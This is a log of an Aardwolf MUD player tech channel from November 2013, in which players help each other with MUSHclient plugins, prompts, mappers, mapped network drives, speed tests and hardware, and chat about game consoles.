T3/r7/2013-11-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sysadmin?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Me? Not officially. I do poke around on some servers.
T3/r7/2013-11-26.txt.gz:{chan ch=tech}TrEz Tech: it's more of a hobby then
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Caramel Milkshake Tech: heh in my company there is practically everything, I use linux as do several others, lots of windows, lots of mac's, and I think a few bsd's
T3/r7/2013-11-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: What's more of a hobby, TrEz?
T3/r7/2013-11-26.txt.gz:{chan ch=tech}Pleiades Tech: use a lot of redhat, centos and oracle linux
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: ugh, i got a new phone charger and it makes a very high pitched noise in 2 frequiencies switching back and forth.. is there a way to fix this or do i just buy a new charger?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If it's new, take it back. High pitched whine sounds like micro-arcing
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: anyone know if xbmc can work with rsshandler? Or if rsshandler is even needed to work with xbmc's rss capability? or perhaps has a suggestion on how to get catch youtube channels so they can be viewed via xbmc without a youtube/google account?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Can I get a recommendation of an up-to-date sharp tracker that tracks gold, quests, kills etc?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: https://docs.google.com/file/d/0B1njhCFO-ScBWmpqMmJZcFhMOWc/edit?pli=1
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Thank you very much.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Run-time error Plugin: Sharptracker (called from world: Aardwolf) Immediate execution [string "Alias: "]:82: attempt to concatenate global 'tempstorage' (a nil value) stack traceback: [string "Alias: "]:82: in main chunk [C]: in function 'Execute' [string "Timer: "]:1: in main chunk
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: whats that all about?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Keldrath Tech: whatever's supposed to be setting 'tempstorage' isnt
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: is my mushclient at fault or is it a code error in the tracker?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was that on install? or did you forget to set it up by typing st_reset
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: AHA that was the problem!
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Thank you Remarto :)
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: you can find all the commands here http://opochtli.freewebhost.co.nz/aardwolf-mud/mushclient-script/ for it
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Taste The Alestorm Tech: thank you very much.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Pooven Tech: howcome my mushclient mapper gets reset in some areas everytime i log in?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Did you install mush into Program Files in windows 7 or 8?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Pooven Tech: windows 7
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So did you?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Pooven Tech: whats the default file directory for mushclient?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure there is one, isn't it a zip?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Point is it needs to be in a user directory, not a program directory
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or you can run it as admin
T3/r7/2013-11-27.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: where do i download blowtorchal aard
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Velian Tech: Anyone have an idea (windows 8) why when i hit the tab key my mousepad on my laptop doesn't work for a few seconds?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Piffaron Tech: perhaps dumb question...I just upgraded my internet from 15d/2u to 30d/5u... will it make a difference for Aard?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no. only latency matters
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Piffaron Tech: ok, thanks
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: type mccp and you'll see how little data aard uses
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Swangin Tech: Does anyone know of a plugin that will sort out your container by level?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: That sounds like an extreme plugin :D
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Mye Tech: invsort <container>
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Ontuct Tech: invsort will do that.. not even a script
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Swangin Tech: I'm trying to put all the level 200 items into a container, and nothing else
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: I use one container for misc, another for ores, and a third for portals :P
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: It's such a pleasure to update and bugfix my plugins, daily :D
T3/r7/2013-11-27.txt.gz:{chan ch=tech}North Westclox Tech: (K)(M) Hot Wok of Qong (201)
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: Hmm, interesting, my mapper is saying my room name is "The Lower Astral Plane" when it's actually "In a Great Field on Arcadia". The GMCP is showing the right name. Is something up with my mapper or does the upper planes do something funky?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Wehn you say your mapper, is it the clickable one, or the ascii one?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And what client?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: tintin++
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: ahh well then, no clue, but my first suspicion was that map tags somehow got turned off.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Turie Tech: Where is Abelinc....He knows all!
T3/r7/2013-11-27.txt.gz:{chan ch=tech}TrEz Tech: why do people use tintin
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It's an excellent command line client.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: Ok, so tags says that map, mapexits and mapnames are all turned on.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: My next suspicion is that screen to tmux stopped updating the window...
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: I am on linux Trez, so I prefer command line things. In order to use mush, I'd need to install a windows emulator and I don't want to do that.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And it doesn't update when you type "map" Loreli?  I'm assuming this is an ascii map, not something generated from Tintin's mapper.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: It does not Mendaloth. I tried moving around, every room is marked as The Lower Planes. It shows the exits and everything, just not the correct name.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: Tried moving around in addition to typing "map" several times in each room, I mean.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: So wait are the exits changing?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Bast Tech: funny, you don't need an emulator to run MUSHclient on linux
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Tech: Ayasinda perks up, something must have grabbed his attention.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Tech: Turie uses an emulator to run an emulator.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: Ok, for instance,I just entered the Arcadia pool. #map info shows the room name as "The Lower Astral Plane", it shows 2 exits (e, w) both leading to "The Lower Astral Plane" with different vnums. Of course, the "map" shows exits n, e, s, w, u.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: Can you reset the map? any command for it.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: I was under the impression one needs WINE to run mushclient Bast.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: reset the entire map Kosirk?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: Is it a plugin that you can restart? I mean.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Bast Tech: wine isn't an emulator, it isn't running windows code in a vm, it is a layer of code that converts the Windows api into a POSIX environment
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: I'm not sure if it works that way Kosirk, given it's more of a script;however, I'm not an expert so I'll do some research. Thanks for the suggestion.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Kosirk Tech: Check it's doc/code for commands :)
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Loreli Tech: Yes Bast, you're right. Of course Wine once meant Windows Emulator, but it's moved on from that. I was just using less precise language to make a quick point. Thanks for clarifying. :)
T3/r7/2013-11-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Oh man. Wine is like the world's most amazing software project. People who don't like it don't understand software.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Obonsai Tech: preach it!
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I like wine. It makes me happy.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I'm using it right now, in fact. :D
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's going to be Mono that gets *nix mainstream though
T3/r7/2013-11-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Maybe. I'm not convinced that .NET is significantly meaningful for any home stuff yet.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: C# is a really nice language, but it's still not that common.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Legendary Gruagach Tech: learning.net is really good for adding to a resume
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: .NET means games, which means purchasing base
T3/r7/2013-11-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't know what games are made with .NET, but that's not really my industry.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Most of the big ones use the various visual c/++ or C# redistributables.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Dark Angel Azaezel Tech: can I get the addy to a site to check my internet speed?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Legendary Gruagach Tech: 4x4.com
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://www.speedtest.net/
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Dark Angel Azaezel Tech: thanks a lot
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: All of the speedtest.net and such speeds are total crap. Try downloading some large thing from Microsoft or Google or something, that will tell you your actual speeds
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: just tried it. speedtest.net is horribly wrong
T3/r7/2013-11-27.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.broadband.gov/qualitytest/
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Mokg, how do you know speedtest is wrong vs you aren't getting advertised speeds?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Speedtest is usually higher than actual by a sizable margin
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Also it's megaBITS.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Mushambo Tech: There's also the ping counterpart to SpeedTest...
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: because I can download something at over twice what it says right now
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: says 16 megabits/second. I can download something right now at ~37
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Insane Xantcha Tech: Remember half the measurement in speedtest is the server you're hitting against... try another
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: only one server within 3000 miles
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Legendary Gruagach Tech: dat island MS
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Frostpaw Tech: easier to setup mush mapper portals via aliases?
T3/r7/2013-11-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Certainly better Frostpaw, that way if you change your portal bag or something it's only one alias or variable you have to update.
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: okay. hawaii server is garbage. san jose server shows 36.56 mbps which is accurate
T3/r7/2013-11-27.txt.gz:{chan ch=tech}Trainer Mokg Tech: I only pay for 30/5 and it used to be 100% on the mark. past month it jumped up to ~37/5.5. not sure why
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: is there any damage tracker script out there?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: for mush
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Trachx Tech: what is wrong with dtrack ?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: doesn't track damage taken
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Invite Tiana Tech: has anyone tried to mush from a surface rt?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Invite Tiana Tech: and gotten it to work?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm not sure, Redryn, but I think Opo might have one.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: was kinda hoping for a public one
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Used to be public, just can't remember the site anymore.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, finger Opochtli...
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: is it sharptracker?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: It might be. I'm not 100% sure. I just seem to remember something about damage.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: sharptracker doesent track damage taken as far as im aware
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: From the looks of it on the website, doesn't seem to be it. I've never messed with it, though.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im useing the most up to date sharptracker and i havent seen a damage tracker
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah, it tracks dodges, not damage. Wrong "d"
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yea :P
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, rats.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Redryn nods.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: oh well
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: tho a damage tracker might be nice, think ill work on one
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: that's fine i guess, will just have to make something for my purposes
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I used to have a damage tracker myself.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: i had one on zmud
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: never bothered converting to mush cos of dtrack
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: can steal the regex though haha
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm thinking of writing a damage tracker now in Lua.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: do it!
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I table.save to text files, though, which requires the table.save functions. *sigh* It's like 700 lines of code, which I could incorporate into plugins and whatnot for public use. Just bothersome.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Redryn, in complete agreement.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: cant you make them a lua file?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: My trackerdb file is like that. Saves everything to a local file.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Redryn Tech: yea, can't you just copy that :p
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Remarto: I can, but how many people really want to (or would understand how) to use external files they have to download that they can't just add directly to MUSH?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: There's always someone who asks, "Where do I put this file at now? It's not working!"
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm true, sometimes some people should just figure it out...
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I really should dig up the files, though.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: anyone know why my old version of mush  just stoped working?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Elysian Tech: gremlins
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: says the mushclient crashed and won't start...
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That ranks #7 on my 'most vague tech queries' 2013
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: lol... yes i know... i could give you the error message but i just downloaded another version of mush and transfered my stuff into the new one
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I guess the only question is "what did you change" and remember that if the answer to that question is "nothing", you really mean "something, but I don't know"
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: i reinstalled my antivirus software...
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: how do you get the {affon} to go away?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: taggs spellup off i think
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Sonshi Tech: must be one of the tags...
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Cryos Tech: thanks
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dtboy Tech: whats bastmush website?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: ttp://code.google.com/p/bastmush
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: finger bast
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dtboy Tech: ty
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: NO worries
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Does anyone know a script for a mapped network drive that connects the drive automatically after every reboot
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: net use X: \\server\share /persistent:yes
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: ill try that, thank you very much.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: no worries
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: and i write the script in a .bat file right?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: yeah for that command a .bat will do
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Great stuff.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: actually, for that you should be able to just run it once from a command line once and it'll reconnect itself anyway
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: ok, but if it reboots on its own will it reconnect on its own aswell (if i decide to do the command line)
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: or will the .bat file be a safer method?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: the /persistent:yes part of it tells it to save the mapping so that it should try to map it at every logon, it might not succeed but it should keep trying. that'll be regardless of how the computer's rebooted, the only caveat is that it'll be saved only for that user on the computer.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: a common way to do it reliably is to have a batch file as a login script, that deletes the drive and then remaps it, so 2 lines.. net use X: /delete, then net use X: \\server\share
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Ok thanks, can i send you a tell if i have further questions?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: lots of ways to skin a cat..
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Dolt Tech: sure!
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Much appreciated.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kosirk Tech: I can't believe Bast hasn't made a plugin to display current mobs in the room ><
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh? Called 'look'
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Ixle Tech: Any android users I highly recommend PushBullet. At first I just thought it was a cool replacement for Chrome2Phone extension since you can push to/from any devices. I just found out about the API though so you can send push notifications from your client or whatever you want.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Ixle Tech: http://pushbullet.com
T3/r7/2013-11-28.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: http://lushmullet.com
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Jaiven Tech: Is there a way to make it so the room name isn't on my prompt when I enter a room? Example: [441/441hp 367/367mn 354/726mv 0qt 657tnl] > Fantasizing
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Ayasinda Tech: try help prompt
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Jaiven Tech: I did and I couldn't find anything relating to that. It only shows up on my prompt sometimes
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Ayasinda's correct, though.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Zetkax Tech: i never get that
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: You don't have %c at the end of your prompt, which gives a new line.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Jaiven Tech: thanks
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: So, build your prompt, put %c at the end, and the room name will not show up on your prompt line again.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Jaiven Tech: thank you!
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Make sure you get battle prompt too. ;)
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Ayasinda Tech: Actually I was wrong. Help prompt doesn't mention you need to end yout prompt with %%c
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: no, but it does mention that there's a token for room name if you want it
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: so until the "only sometimes", it could've gone either way
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Regardless, it mentions what %c does, so it was, more or less, on the right path, even if it wasn't clearly communicated. ;)
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Sheana Tech: how do i make mush play a sound when its time to quest?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: trigger on the quest message, and tell the trigger to play sound
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: when it's time for you to quest, copy that message, go to game -> configure -> triggers, click add, paste it into the top and go to the sound part of that window to select a file to play
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Sheana Tech: thank you!
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Turie Tech: In the trigger window, click on the Add, Look for Sound on the lower right side.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Arnica Tech: Then wait one day, and disable that trigger :-)
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh, didn't know that Microsoft admitted to some Xbox One disk drives having problems.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: i put my games on flash drives now incase cd drive fails
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I still want a ps4.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tech: Book of Etzli sighs.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: ya i would get a ps4 >xbox one
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: because of the bunduru?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I've always been a Playstation "fanboy", really.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i don't own any of those but i like what they tried to do with ps3
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: just wish they were backwards compatible
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: i have xbox 360 slim from last year's black friday
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: exactly kilfer why i'll get ps4 instead of xbox1
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: are the ps4 backwards compatible?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: should be
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: i normally wait a few months after they come out so they can work the kinks outta them
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: nods
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: whats wrong with having all of them lined up like little soldiers?
T3/r7/2013-11-28.txt.gz:{chan ch=tech}ShadowWalker Tech: less is more imo
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in a few years, there will be just a lil' usb-stick-type machines. you plug them into anything and they can do pretty much anything for you
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: still talking about game consoles
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: anything hardly u will plug them directly into your brain
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: and we will be cyborgs
T3/r7/2013-11-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: if you are one, you wouldn't complain.
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tigernuts Tech: cyborgs will be for the rich, you'll just be a serf
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Kilfer Tech: Nah the rich will be human the rest will be cyborgs programmed to work for them 
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tigernuts Tech: whatever, you'll be a serf
T3/r7/2013-11-28.txt.gz:{chan ch=tech}Tigernuts Tech: if you're alive at all
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: question...in zmud I was using the variable dual weapon, then in field dagger. So I had an alias setup that was rem ualweapon...how would that be phrased properly to work in mushclient?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: same
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: @variablename
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: sorry thats supposed to read @dualweapon
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: check the "expand variables" checkbox
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: thanks
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: just now starting to setup mush...so I may have more questions...rewriting all my aliases is a pain
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Mushambo Tech: What's a good wireless channel analyzer? everyone just use inSSIDer ?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: SSD's are great for laptops, for speed, for power conservation and reliability, so why do most laptops still not come with them?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}WarPigs Tech: It isn't marketable.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Azash Tech: Because they are still a bit expensive, I would guess.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: $50 premium?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: big deal!
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Forfiter Tech: i wonder why laptops are not 4:3 anymore since all muds are vertical oriented
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Mushambo Tech: Average consumers aren't down with "the cloud" yet, so they want local storage and as with megapixels, the assumption is higher number is always better
T3/r7/2013-11-29.txt.gz:{chan ch=tech}WarPigs Tech: Laptops w\ mechanical disks will never post IOPS because then they know that number can be compared to SSD equipped laptops. The market sucks (for the seller) when customers can make informed decisions.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Forfiter Tech: you mean the cannot be compared...
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: 128gb is fine for a laptop
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: it's about what my desktop has, and i haven't run out yet
T3/r7/2013-11-29.txt.gz:{chan ch=tech}WarPigs Tech: can/could
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: maybe if you want to download considerable amounts of porn
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: but shopping for an elderly neighbour who's new to the internet, he won't be doing that
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: and they all come with windows 8, ugh
T3/r7/2013-11-29.txt.gz:{chan ch=tech}WarPigs Tech: classic shell
